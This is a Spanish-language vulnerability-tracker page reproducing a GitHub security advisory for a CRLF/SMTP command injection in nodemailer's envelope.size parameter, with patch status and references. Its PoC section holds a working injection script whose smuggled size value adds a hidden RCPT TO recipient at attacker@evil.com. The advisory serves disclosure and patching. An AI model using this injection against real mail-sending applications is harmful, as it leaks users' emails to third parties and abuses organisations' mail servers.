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Advisory · GitHub · npm · nodemailer

GHSA-C7W3-X93F-QMM8

Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

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CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -1 d de la divulgación
Exposición238 dDesde la divulgación, 26 mar 2026, 5:26 p. m.
Detección235 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 8.0.4
Monitoreo
Detectada
25 mar 26
26 mar 26
10 sept 26
17 nov 26
19 nov 26
25 mar 26
24 may 26
23 jul 26
21 sept 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 8.0.4 nodemailer · -1 d desde divulgación
Divulgación Publicada GHSA-C7W3-X93F-QMM8 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.

### Details
In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:
- Addresses (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127
- DSN parameters (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183

The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`.
While this limits the attack surface, applications that expose envelope configuration to users are affected.

### PoC
ave the following as `poc.js` and run with `node poc.js`:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.

### Impact
This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:

  • Silently add hidden recipients to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
nodemailer< 8.0.4
8.0.4
10.6.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmnodemailer
Corregida 8.0.4 -1 d 10.6.0 no afectada
Versiones corregidas8.0.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8
Otrahttps://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651
Otrahttps://github.com/nodemailer/nodemailer

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